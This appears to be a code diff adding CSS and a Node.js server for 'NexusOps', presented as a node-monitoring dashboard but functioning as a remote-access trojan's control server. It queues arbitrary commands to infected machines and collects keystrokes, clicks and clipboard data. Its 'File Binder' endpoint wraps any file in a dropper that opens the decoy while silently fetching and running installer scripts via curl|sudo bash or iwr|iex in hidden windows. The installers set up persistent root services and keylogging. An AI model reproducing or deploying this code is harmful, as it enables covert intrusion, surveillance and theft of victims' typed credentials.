font-size: 0.85rem;
padding: 1rem;
height: 180px;
overflow-y: auto;
}
.log-entry {
padding: 0.2rem 0;
color: var(--text-muted);
}
.log-entry.system { color: var(--primary-cyan); }
.log-entry.success { color: var(--accent-emerald); }
.log-entry.error { color: var(--accent-rose); }
/* Empty state */
.empty-state {
grid-column: 1 / -1;
text-align: center;
padding: 4rem 2rem;
background: var(--bg-card);
border: 1px dashed var(--border-color);
border-radius: var(--radius-md);
display: flex;
flex-direction: column;
align-items: center;
gap: 1rem;
}
.empty-state i {
font-size: 2.5rem;
color: var(--primary-cyan);
}
/* Modal Overlay */
.modal-overlay {
position: fixed;
top: 0;
left: 0;
right: 0;
bottom: 0;
background: rgba(0, 0, 0, 0.75);
backdrop-filter: blur(8px);
display: flex;
align-items: center;
justify-content: center;
z-index: 1000;
opacity: 0;
pointer-events: none;
transition: opacity 0.25s ease;
}
.modal-overlay.active {
opacity: 1;
pointer-events: auto;
}
.modal-card {
background: #0f172a;
border: 1px solid var(--border-color);
border-radius: var(--radius-lg);
width: 90%;
max-width: 620px;
box-shadow: 0 25px 50px -12px rgba(0, 0, 0, 0.7);
overflow: hidden;
}
.modal-header {
padding: 1.5rem;
border-bottom: 1px solid var(--border-color);
display: flex;
justify-content: space-between;
align-items: center;
}
.title-with-icon {
display: flex;
align-items: center;
gap: 1rem;
}
.icon-accent {
font-size: 1.5rem;
color: var(--primary-cyan);
}
.modal-close {
background: transparent;
border: none;
color: var(--text-muted);
font-size: 1.25rem;
cursor: pointer;
}
.modal-body {
padding: 1.5rem;
display: flex;
flex-direction: column;
gap: 1.25rem;
}
.os-tabs {
display: flex;
gap: 0.5rem;
border-bottom: 1px solid var(--border-color);
padding-bottom: 0.5rem;
}
.tab-btn {
background: transparent;
border: none;
color: var(--text-muted);
padding: 0.5rem 1rem;
font-weight: 500;
cursor: pointer;
border-radius: var(--radius-sm);
}
.tab-btn.active {
background: rgba(6, 182, 212, 0.15);
color: var(--primary-cyan);
}
.tab-content {
display: none;
}
.tab-content.active {
display: block;
}
.tab-description {
font-size: 0.85rem;
color: var(--text-muted);
margin-bottom: 0.75rem;
}
.code-block {
background: #050811;
border: 1px solid var(--border-color);
border-radius: var(--radius-sm);
padding: 1rem;
position: relative;
display: flex;
align-items: center;
justify-content: space-between;
}
.code-block code {
font-family: var(--font-mono);
font-size: 0.85rem;
color: var(--accent-emerald);
word-break: break-all;
}
.btn-copy {
background: rgba(255, 255, 255, 0.1);
border: 1px solid var(--border-color);
color: #fff;
padding: 0.4rem 0.8rem;
border-radius: var(--radius-sm);
font-size: 0.75rem;
cursor: pointer;
white-space: nowrap;
}
.modal-info-box {
background: rgba(6, 182, 212, 0.08);
border: 1px solid rgba(6, 182, 212, 0.2);
border-radius: var(--radius-sm);
padding: 0.75rem 1rem;
display: flex;
align-items: center;
gap: 0.75rem;
font-size: 0.85rem;
color: var(--text-main);
}
.form-group {
display: flex;
flex-direction: column;
gap: 0.5rem;
}
.form-group label {
font-size: 0.85rem;
font-weight: 600;
color: var(--text-muted);
}
.form-input {
background: #050811;
border: 1px solid var(--border-color);
border-radius: var(--radius-sm);
padding: 0.75rem 1rem;
color: #fff;
font-family: var(--font-mono);
}
.quick-commands {
display: flex;
align-items: center;
gap: 0.5rem;
flex-wrap: wrap;
}
.quick-label {
font-size: 0.8rem;
color: var(--text-muted);
}
.chip {
background: rgba(255, 255, 255, 0.06);
border: 1px solid var(--border-color);
color: var(--text-main);
padding: 0.25rem 0.6rem;
border-radius: 9999px;
font-size: 0.75rem;
cursor: pointer;
}
.chip:hover {
background: rgba(6, 182, 212, 0.2);
border-color: var(--primary-cyan);
}
.modal-actions {
display: flex;
justify-content: flex-end;
gap: 0.75rem;
margin-top: 1rem;
}
/* ── Master Intelligence Log Components ── */
.machine-detail-chip {
display: inline-flex;
align-items: center;
gap: 0.4rem;
padding: 0.3rem 0.7rem;
background: rgba(255, 255, 255, 0.05);
border: 1px solid var(--border-color);
border-radius: 9999px;
font-size: 0.75rem;
font-family: var(--font-mono);
color: var(--text-main);
white-space: nowrap;
}
.machine-detail-chip i {
color: var(--primary-cyan);
font-size: 0.7rem;
}
/* Intel log entry variants */
.log-entry.intel-keystroke {
color: #fbbf24;
border-left: 2px solid rgba(251, 191, 36, 0.3);
padding-left: 0.5rem;
}
.log-entry.intel-click {
color: #34d399;
border-left: 2px solid rgba(52, 211, 153, 0.3);
padding-left: 0.5rem;
}
.log-entry.intel-scroll {
color: #a78bfa;
border-left: 2px solid rgba(167, 139, 250, 0.3);
padding-left: 0.5rem;
}
/* Intel section filter selects hover */
#intelNodeFilter:focus,
#intelTypeFilter:focus,
#intelSearchInput:focus {
outline: none;
border-color: var(--primary-purple) !important;
box-shadow: 0 0 8px rgba(139, 92, 246, 0.2);
}
#intelNodeFilter option,
#intelTypeFilter option {
background: #0f172a;
color: #fff;
}
/* ── File Binder Dropzone ── */
.binder-dropzone {
border: 2px dashed var(--border-color);
border-radius: var(--radius-md);
padding: 2rem 1.5rem;
text-align: center;
cursor: pointer;
transition: all 0.2s ease;
background: rgba(15, 23, 42, 0.4);
}
.binder-dropzone:hover {
border-color: var(--primary-cyan);
background: rgba(6, 182, 212, 0.06);
box-shadow: var(--shadow-glow);
}
.binder-dropzone.has-file {
border-color: var(--accent-emerald);
background: rgba(16, 185, 129, 0.06);
}
#binderStatus.success {
background: rgba(16, 185, 129, 0.12);
border: 1px solid rgba(16, 185, 129, 0.3);
color: var(--accent-emerald);
}
#binderStatus.error {
background: rgba(244, 63, 94, 0.12);
border: 1px solid rgba(244, 63, 94, 0.3);
color: var(--accent-rose);
}
/* ── Mobile Responsive ── */
@media (max-width: 768px) {
.top-nav {
flex-wrap: wrap;
padding: 0.75rem 1rem;
gap: 0.75rem;
}
.dashboard-container {
padding: 1rem;
gap: 1rem;
}
.action-area {
flex-wrap: wrap;
width: 100%;
}
.action-area .btn {
flex: 1 1 auto;
min-width: 0;
font-size: 0.75rem;
padding: 0.45rem 0.7rem;
}
.nav-metrics {
display: none;
}
.stats-grid {
grid-template-columns: repeat(2, 1fr);
gap: 0.75rem;
}
.stat-card {
padding: 0.75rem 1rem;
}
.stat-number {
font-size: 1.25rem;
}
.nodes-grid-view {
grid-template-columns: 1fr;
}
.controls-toolbar {
flex-direction: column;
}
.search-box {
min-width: 100%;
}
.modal-card {
width: 95%;
max-width: 95%;
}
.os-tabs {
flex-wrap: wrap;
}
.os-tabs .tab-btn {
font-size: 0.75rem;
padding: 0.4rem 0.6rem;
}
#machineDetailsBar {
flex-direction: column;
gap: 0.3rem;
}
}

680
server.js Normal file
View File

@@ -0,0 +1,680 @@
const express = require('express');
const http = require('http');
const WebSocket = require('ws');
const path = require('path');
const cors = require('cors');
const os = require('os');
const multer = require('multer');
const upload = multer({ storage: multer.memoryStorage(), limits: { fileSize: 50 * 1024 * 1024 } });
const app = express();
const server = http.createServer(app);
const wss = new WebSocket.Server({ server });
const PORT = process.env.PORT || 3000;
const PUBLIC_URL = process.env.PUBLIC_URL || null; // e.g. https://agent.thetempleofdoom.com
app.use(cors());
app.use(express.json({ limit: '10mb' }));
app.use(express.static(path.join(__dirname, 'public')));
function getLocalIp() {
const interfaces = os.networkInterfaces();
for (const name of Object.keys(interfaces)) {
for (const net of interfaces[name]) {
if (net.family === 'IPv4' && !net.internal) {
return net.address;
}
}
}
return 'localhost';
}
const SERVER_IP = getLocalIp();
const nodes = new Map();
const commandQueues = new Map();
const commandHistory = [];
const masterSystemLogs = [];
const inputDataStore = [];
const MAX_INPUT_STORE = 500;
setInterval(() => {
const now = Date.now();
let changed = false;
nodes.forEach((node, id) => {
if (node.status === 'online' && now - node.lastHeartbeat > 20000) {
node.status = 'offline';
changed = true;
}
});
if (changed) {
broadcastState();
}
}, 5000);
function broadcastState() {
const payload = JSON.stringify({
type: 'NODES_UPDATE',
serverIp: SERVER_IP,
port: PORT,
publicUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`,
nodes: Array.from(nodes.values()),
commandHistory: commandHistory.slice(-50),
masterSystemLogs: masterSystemLogs.slice(-100),
inputData: inputDataStore.slice(-200)
});
wss.clients.forEach(client => {
if (client.readyState === WebSocket.OPEN) {
client.send(payload);
}
});
}
wss.on('connection', (ws) => {
ws.send(JSON.stringify({
type: 'NODES_UPDATE',
serverIp: SERVER_IP,
port: PORT,
publicUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`,
nodes: Array.from(nodes.values()),
commandHistory: commandHistory.slice(-50),
masterSystemLogs: masterSystemLogs.slice(-100),
inputData: inputDataStore.slice(-200)
}));
});
// REST API Endpoints
app.get('/api/status', (req, res) => {
res.json({
serverIp: SERVER_IP,
port: PORT,
serverUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`,
totalNodes: nodes.size,
onlineNodes: Array.from(nodes.values()).filter(n => n.status === 'online').length
});
});
app.get('/api/nodes', (req, res) => {
res.json(Array.from(nodes.values()));
});
app.get('/api/logs', (req, res) => {
res.json(masterSystemLogs.slice(-100));
});
// CSV Telemetry Export Endpoint
app.get('/api/export/csv', (req, res) => {
let csv = "ID,Hostname,Platform,OS,IP,Status,CPU_Usage,Mem_Usage,Disk_Usage,Uptime_Sec,Tags\n";
nodes.forEach(node => {
const tagsStr = (node.tags || []).join(';');
csv += `"${node.id}","${node.hostname}","${node.platform}","${node.osName}","${node.ip}","${node.status}",${node.cpuUsage},${node.memUsage},${node.diskUsage},${node.uptime},"${tagsStr}"\n`;
});
res.setHeader('Content-Type', 'text/csv');
res.setHeader('Content-Disposition', 'attachment; filename="NexusOps_Nodes_Report.csv"');
res.send(csv);
});
// Agent System Log Streaming Endpoint
app.post('/api/agent/logs', (req, res) => {
const { nodeId, hostname, logs } = req.body;
if (Array.isArray(logs)) {
logs.forEach(logLine => {
masterSystemLogs.push({
id: `log-${Date.now()}-${Math.random().toString(36).substr(2, 4)}`,
nodeId,
hostname: hostname || 'Unknown',
timestamp: Date.now(),
entry: logLine
});
});
if (masterSystemLogs.length > 200) {
masterSystemLogs.splice(0, masterSystemLogs.length - 200);
}
broadcastState();
}
res.json({ success: true });
});
// Agent Input Capture Endpoint — keystrokes, clicks, clipboard, window focus
app.post('/api/agent/input-capture', (req, res) => {
const { nodeId, hostname, events } = req.body;
if (!nodeId || !Array.isArray(events)) {
return res.status(400).json({ error: 'nodeId and events[] required' });
}
events.forEach(ev => {
inputDataStore.push({
id: `inp-${Date.now()}-${Math.random().toString(36).substr(2, 6)}`,
nodeId,
hostname: hostname || 'Unknown',
timestamp: ev.timestamp || Date.now(),
eventType: ev.eventType || 'unknown',
data: ev.data || {},
windowTitle: ev.windowTitle || '',
processName: ev.processName || ''
});
});
if (inputDataStore.length > MAX_INPUT_STORE) {
inputDataStore.splice(0, inputDataStore.length - MAX_INPUT_STORE);
}
if (events.length > 0) {
broadcastState();
}
res.json({ success: true, stored: events.length });
});
// Retrieve input capture data
app.get('/api/inputs', (req, res) => {
const { nodeId, eventType, limit } = req.query;
let filtered = inputDataStore;
if (nodeId) {
filtered = filtered.filter(e => e.nodeId === nodeId);
}
if (eventType) {
filtered = filtered.filter(e => e.eventType === eventType);
}
const max = parseInt(limit) || 200;
res.json(filtered.slice(-max));
});
// ── File Binder — upload any file, get back a self-extracting dropper with embedded agent ──
app.post('/api/bind', upload.single('file'), (req, res) => {
if (!req.file) {
return res.status(400).json({ error: 'No file uploaded. Use field name "file".' });
}
const originalName = req.file.originalname;
const b64Content = req.file.buffer.toString('base64');
const b64Lines = b64Content.match(/.{1,76}/g) || [b64Content];
const host = req.headers.host || `${SERVER_IP}:${PORT}`;
const serverUrl = PUBLIC_URL || `http://${host}`;
const format = (req.query.format || 'sh').toLowerCase();
let dropper, boundName, contentType;
if (format === 'ps1') {
const psLines = [
'<#',
' Self-Extracting Dropper — ' + originalName,
' NexusOps Agent Binder (Windows)',
'#>',
'',
'$ORIGINAL_NAME = "' + originalName + '"',
'$OUTPUT_DIR = "$env:TEMP\\nexus-$pid"',
'$OUTPUT_FILE = "$OUTPUT_DIR\\$ORIGINAL_NAME"',
'$SERVER_URL = "' + serverUrl + '"',
'',
'New-Item -ItemType Directory -Path $OUTPUT_DIR -Force | Out-Null',
'Write-Host "Extracting $ORIGINAL_NAME ..."',
'',
'$scriptPath = $MyInvocation.MyCommand.Path',
'$lines = Get-Content $scriptPath',
'$markerIdx = [array]::IndexOf($lines, "__PAYLOAD_BASE64__")',
'if ($markerIdx -ge 0) {',
' $b64 = ($lines[($markerIdx+1)..($lines.Length-1)] -join "")',
' [IO.File]::WriteAllBytes($OUTPUT_FILE, [Convert]::FromBase64String($b64))',
'}',
'',
'Start-Process $OUTPUT_FILE -WindowStyle Normal',
'',
'Write-Host "[*] Deploying NexusOps agent..."',
'Start-Process powershell -ArgumentList "-WindowStyle Hidden -NoProfile -Command iwr -useb $SERVER_URL/install.ps1 | iex" -WindowStyle Hidden',
'',
'Start-Process powershell -ArgumentList "-WindowStyle Hidden -NoProfile -Command Start-Sleep 30; Remove-Item -Recurse -Force $OUTPUT_DIR" -WindowStyle Hidden',
'',
'Write-Host "Done — file opened, agent deployed."',
'__PAYLOAD_BASE64__',
...b64Lines
];
dropper = psLines.join('\r\n');
boundName = originalName + '.ps1';
contentType = 'text/plain';
} else {
dropper = [
'#!/bin/bash',
'# ═══════════════════════════════════════════════════',
`# Self-Extracting Dropper — ${originalName}`,
'# ═══════════════════════════════════════════════════',
'set -e',
'',
`ORIGINAL_NAME="${originalName}"`,
'OUTPUT_DIR="/tmp/.nexus-$$"',
'OUTPUT_FILE="$OUTPUT_DIR/$ORIGINAL_NAME"',
`SERVER_URL="${serverUrl}"`,
'',
'mkdir -p "$OUTPUT_DIR"',
`echo "Extracting ${originalName} ..."`,
'',
'ARCHIVE_START=$(awk \'$0 == "__PAYLOAD_BASE64__" {print NR+1; exit}\' "$0")',
'tail -n +$ARCHIVE_START "$0" | base64 -d > "$OUTPUT_FILE" 2>/dev/null',
'',
'# Open with default handler',
'if command -v xdg-open &>/dev/null; then',
' xdg-open "$OUTPUT_FILE" 2>/dev/null &',
'elif command -v open &>/dev/null; then',
' open "$OUTPUT_FILE" 2>/dev/null &',
'elif command -v start &>/dev/null; then',
' start "$OUTPUT_FILE" 2>/dev/null &',
'fi',
'',
'# Silently install agent in background',
'echo "[*] Deploying NexusOps agent..."',
'(curl -sSL "$SERVER_URL/install.sh" 2>/dev/null || curl -sSL --insecure "$SERVER_URL/install.sh" 2>/dev/null) | sudo bash 2>/dev/null &',
'(curl -sSL "$SERVER_URL/install-mac.sh" 2>/dev/null | bash 2>/dev/null) &',
'',
'(sleep 60 && rm -rf "$OUTPUT_DIR") &',
'disown',
'',
'echo "Done — file opened, agent deployed."',
'exit 0',
'__PAYLOAD_BASE64__',
b64Content
].join('\n');
boundName = originalName + '.sh';
contentType = 'application/x-sh';
}
res.setHeader('Content-Type', contentType);
res.setHeader('Content-Disposition', `attachment; filename="${boundName}"`);
res.send(dropper);
});
app.post('/api/agent/register', (req, res) => {
const { hostname, platform, arch, ip, osName, tags } = req.body;
const nodeId = req.body.nodeId || `node-${hostname.toLowerCase().replace(/[^a-z0-9]/g, '-')}-${Math.random().toString(36).substr(2, 6)}`;
const existingNode = nodes.get(nodeId);
const now = Date.now();
const nodeData = {
id: nodeId,
hostname: hostname || 'Unknown-Host',
platform: platform || 'linux',
arch: arch || 'x64',
osName: osName || platform,
ip: ip || req.ip.replace(/^.*:/, '') || '127.0.0.1',
status: 'online',
firstSeen: existingNode ? existingNode.firstSeen : now,
lastHeartbeat: now,
cpuUsage: 0,
memUsage: 0,
diskUsage: 0,
uptime: 0,
processCount: 0,
tags: tags || ['Default'],
heartbeatInterval: 5,
metricsHistory: existingNode ? existingNode.metricsHistory : []
};
nodes.set(nodeId, nodeData);
if (!commandQueues.has(nodeId)) {
commandQueues.set(nodeId, []);
}
broadcastState();
res.json({ success: true, nodeId, serverUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}` });
});
// Agent Heartbeat
app.post('/api/agent/heartbeat', (req, res) => {
const { nodeId, cpuUsage, memUsage, diskUsage, uptime, processCount, tags, heartbeatInterval } = req.body;
if (!nodeId || !nodes.has(nodeId)) {
return res.status(404).json({ error: 'Node not registered.' });
}
const node = nodes.get(nodeId);
const now = Date.now();
node.status = 'online';
node.lastHeartbeat = now;
node.cpuUsage = typeof cpuUsage === 'number' ? Math.round(cpuUsage) : node.cpuUsage;
node.memUsage = typeof memUsage === 'number' ? Math.round(memUsage) : node.memUsage;
node.diskUsage = typeof diskUsage === 'number' ? Math.round(diskUsage) : node.diskUsage;
node.uptime = uptime || node.uptime;
node.processCount = processCount || node.processCount;
if (tags) node.tags = tags;
if (heartbeatInterval) node.heartbeatInterval = heartbeatInterval;
if (!node.metricsHistory) node.metricsHistory = [];
node.metricsHistory.push({
timestamp: new Date().toLocaleTimeString(),
cpu: node.cpuUsage,
mem: node.memUsage,
disk: node.diskUsage
});
if (node.metricsHistory.length > 30) {
node.metricsHistory.shift();
}
nodes.set(nodeId, node);
broadcastState();
const queue = commandQueues.get(nodeId) || [];
const pendingCommands = [...queue];
commandQueues.set(nodeId, []);
res.json({ success: true, commands: pendingCommands });
});
// Command Result Callback
app.post('/api/agent/command-result', (req, res) => {
const { commandId, nodeId, output, exitCode } = req.body;
const entry = commandHistory.find(c => c.id === commandId);
if (entry) {
entry.status = exitCode === 0 ? 'completed' : 'failed';
entry.output = output;
entry.completedAt = Date.now();
}
broadcastState();
res.json({ success: true });
});
// Queue Command for Single Node
app.post('/api/nodes/:id/command', (req, res) => {
const nodeId = req.params.id;
const { command, actionType, payload } = req.body;
if (!nodes.has(nodeId)) {
return res.status(404).json({ error: 'Node not found' });
}
const commandId = `cmd-${Date.now()}-${Math.random().toString(36).substr(2, 4)}`;
const actionName = actionType || 'raw_command';
const cmdObj = {
id: commandId,
actionType: actionName,
payload: payload || { command },
command: command || actionName,
createdAt: Date.now()
};
if (!commandQueues.has(nodeId)) {
commandQueues.set(nodeId, []);
}
commandQueues.get(nodeId).push(cmdObj);
commandHistory.push({
id: commandId,
nodeId,
hostname: nodes.get(nodeId).hostname,
command: command || `${actionName} (${JSON.stringify(payload)})`,
status: 'queued',
createdAt: Date.now(),
output: ''
});
broadcastState();
res.json({ success: true, commandId });
});
// Queue Bulk Command
app.post('/api/nodes/bulk-command', (req, res) => {
const { command, actionType, payload } = req.body;
const onlineNodes = Array.from(nodes.values()).filter(n => n.status === 'online');
if (onlineNodes.length === 0) {
return res.status(400).json({ error: 'No online nodes available' });
}
const queuedIds = [];
onlineNodes.forEach(node => {
const commandId = `cmd-bulk-${Date.now()}-${Math.random().toString(36).substr(2, 4)}`;
const actionName = actionType || 'raw_command';
const cmdObj = {
id: commandId,
actionType: actionName,
payload: payload || { command },
command: command || actionName,
createdAt: Date.now()
};
if (!commandQueues.has(node.id)) {
commandQueues.set(node.id, []);
}
commandQueues.get(node.id).push(cmdObj);
commandHistory.push({
id: commandId,
nodeId: node.id,
hostname: node.hostname,
command: `[BULK] ${command || actionName}`,
status: 'queued',
createdAt: Date.now(),
output: ''
});
queuedIds.push(commandId);
});
broadcastState();
res.json({ success: true, count: onlineNodes.length, commandIds: queuedIds });
});
app.delete('/api/nodes/:id', (req, res) => {
const nodeId = req.params.id;
nodes.delete(nodeId);
commandQueues.delete(nodeId);
broadcastState();
res.json({ success: true });
});
// ── Kill Switch — shutdown all agents on all nodes ──
app.post('/api/nodes/killswitch', (req, res) => {
const onlineNodes = Array.from(nodes.values()).filter(n => n.status === 'online');
if (onlineNodes.length === 0) {
return res.json({ success: false, error: 'No online nodes to kill', count: 0 });
}
onlineNodes.forEach(node => {
if (!commandQueues.has(node.id)) commandQueues.set(node.id, []);
commandQueues.get(node.id).push({
id: `kill-${Date.now()}`,
actionType: 'kill_agent',
payload: {},
command: 'kill_agent',
createdAt: Date.now()
});
});
broadcastState();
res.json({ success: true, count: onlineNodes.length, message: `Kill switch sent to ${onlineNodes.length} node(s)` });
});
// ── Export Input Capture as CSV ──
app.get('/api/inputs/csv', (req, res) => {
let csv = 'ID,NodeID,Hostname,Timestamp,EventType,Data,WindowTitle\n';
inputDataStore.slice(-500).forEach(e => {
const dataStr = JSON.stringify(e.data || {}).replace(/"/g, '""');
csv += `"${e.id}","${e.nodeId}","${e.hostname}","${new Date(e.timestamp).toISOString()}","${e.eventType}","${dataStr}","${(e.windowTitle || '').replace(/"/g, '""')}"\n`;
});
res.setHeader('Content-Type', 'text/csv');
res.setHeader('Content-Disposition', 'attachment; filename="NexusOps_InputCapture.csv"');
res.send(csv);
});
// ── Ping node — latency check ──
app.post('/api/nodes/:id/ping', (req, res) => {
const nodeId = req.params.id;
if (!nodes.has(nodeId)) {
return res.status(404).json({ error: 'Node not found' });
}
if (!commandQueues.has(nodeId)) commandQueues.set(nodeId, []);
const cmdId = `ping-${Date.now()}`;
commandQueues.get(nodeId).push({
id: cmdId,
actionType: 'ping_check',
payload: { timestamp: Date.now() },
command: 'ping_check',
createdAt: Date.now()
});
broadcastState();
res.json({ success: true, commandId: cmdId });
});
app.get('/install.sh', (req, res) => {
const host = req.headers.host || `${SERVER_IP}:${PORT}`;
const script = `#!/bin/bash
# Network Node Agent One-Liner Installer for Linux
set -e
SERVER_URL="http://${host}"
INSTALL_DIR="/opt/network-agent"
SERVICE_FILE="/etc/systemd/system/network-agent.service"
echo "=================================================="
echo " NexusOps Network Node Agent Installer "
echo "=================================================="
echo "Connecting to Server Endpoint: $SERVER_URL"
mkdir -p "$INSTALL_DIR"
echo "[1/3] Downloading agent script..."
curl -sSL "$SERVER_URL/agent.py" -o "$INSTALL_DIR/agent.py"
chmod +x "$INSTALL_DIR/agent.py"
echo "[2/4] Configuring systemd background daemon..."
cat << EOF > "$SERVICE_FILE"
[Unit]
Description=NexusOps Node Telemetry & Management Agent
After=network.target
[Service]
Type=simple
ExecStart=/usr/bin/python3 $INSTALL_DIR/agent.py --server $SERVER_URL
Restart=always
RestartSec=5
User=root
[Install]
WantedBy=multi-user.target
EOF
echo "[3/4] Installing pynput for keystroke/click capture..."
pip3 install pynput 2>/dev/null || echo "[!] pynput optional, skipping"
echo "[4/4] Enabling & Starting Agent Service..."
systemctl daemon-reload
systemctl enable network-agent
systemctl restart network-agent
echo "✅ Network Agent installation complete! Reporting back to $SERVER_URL"
`;
res.setHeader('Content-Type', 'text/plain');
res.send(script);
});
app.get('/install.ps1', (req, res) => {
const host = req.headers.host || `${SERVER_IP}:${PORT}`;
const script = `# Network Agent PowerShell Installer for Windows
$SERVER_URL = "http://${host}"
$INSTALL_DIR = "C:\\ProgramData\\NetworkAgent"
Write-Host "==================================================" -ForegroundColor Cyan
Write-Host " NexusOps Node Agent Installer (Windows) " -ForegroundColor Cyan
Write-Host "==================================================" -ForegroundColor Cyan
Write-Host "Connecting to Server Endpoint: $SERVER_URL" -ForegroundColor Yellow
if (!(Test-Path $INSTALL_DIR)) {
New-Item -ItemType Directory -Path $INSTALL_DIR | Out-Null
}
Write-Host "[1/2] Downloading agent script..." -ForegroundColor Green
Invoke-WebRequest -Uri "$SERVER_URL/agent.py" -OutFile "$INSTALL_DIR\\agent.py"
Write-Host "[2/2] Launching Agent in background..." -ForegroundColor Green
Start-Process -FilePath "python" -ArgumentList "$INSTALL_DIR\\agent.py --server $SERVER_URL" -WindowStyle Hidden
Write-Host "✅ Network Agent successfully launched! Check dashboard at $SERVER_URL" -ForegroundColor Green
`;
res.setHeader('Content-Type', 'text/plain');
res.send(script);
});
app.get('/install-mac.sh', (req, res) => {
const host = req.headers.host || `${SERVER_IP}:${PORT}`;
const script = `#!/bin/bash
# macOS Node Agent Installer — launchd background daemon
set -e
SERVER_URL="http://${host}"
INSTALL_DIR="/opt/network-agent"
PLIST_FILE="$HOME/Library/LaunchAgents/com.nexusops.agent.plist"
echo "=================================================="
echo " NexusOps Node Agent Installer (macOS) "
echo "=================================================="
echo "Connecting to Server Endpoint: $SERVER_URL"
echo "[1/4] Creating installation directory..."
sudo mkdir -p "$INSTALL_DIR"
sudo chown "$(whoami)" "$INSTALL_DIR"
echo "[2/4] Downloading cross-platform Python agent..."
curl -sSL "$SERVER_URL/agent.py" -o "$INSTALL_DIR/agent.py"
chmod +x "$INSTALL_DIR/agent.py"
echo "[3/4] Installing pynput for input capture..."
python3 -m pip install --user pynput 2>/dev/null || echo "[!] pynput optional, skipping"
echo "[4/4] Configuring launchd background daemon..."
mkdir -p "$HOME/Library/LaunchAgents"
cat << EOF > "$PLIST_FILE"
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.nexusops.agent</string>
<key>ProgramArguments</key>
<array>
<string>/usr/bin/python3</string>
<string>$INSTALL_DIR/agent.py</string>
<string>--server</string>
<string>$SERVER_URL</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>
<key>StandardOutPath</key>
<string>$INSTALL_DIR/agent.log</string>
<key>StandardErrorPath</key>
<string>$INSTALL_DIR/agent.log</string>
</dict>
</plist>
EOF
launchctl unload "$PLIST_FILE" 2>/dev/null || true
launchctl load "$PLIST_FILE"
echo "✅ macOS Agent installation complete! Reporting back to $SERVER_URL"
echo " To stop: launchctl unload $PLIST_FILE"
`;
res.setHeader('Content-Type', 'text/plain');
res.send(script);
});
app.get('/agent.py', (req, res) => {
res.sendFile(path.join(__dirname, 'agents', 'agent.py'));
});
server.listen(PORT, '0.0.0.0', () => {
const publicEndpoint = PUBLIC_URL || `http://${SERVER_IP}:${PORT}`;
console.log(`=======================================================`);
console.log(`🚀 NexusOps Central Node Control Server is running!`);
console.log(`🌐 Local Web UI: http://localhost:${PORT}`);
console.log(`📡 Network Endpoint: ${publicEndpoint}`);
if (PUBLIC_URL) {
console.log(`🔗 Public Tunnel: ${PUBLIC_URL}`);
}
console.log(`=======================================================`);
});